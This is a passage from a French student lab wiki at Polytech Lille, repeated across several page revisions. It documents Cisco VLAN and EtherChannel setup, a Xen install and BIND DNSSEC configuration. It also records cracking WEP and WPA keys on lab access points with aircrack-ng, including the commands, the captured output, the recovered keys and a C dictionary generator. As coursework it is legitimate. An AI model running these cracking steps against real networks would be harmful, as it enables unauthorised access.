<br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35466 2016-11-28T13:10:38Z

<p>Rruet : </p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35465 2016-11-28T13:09:01Z

<p>Rruet : </p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ 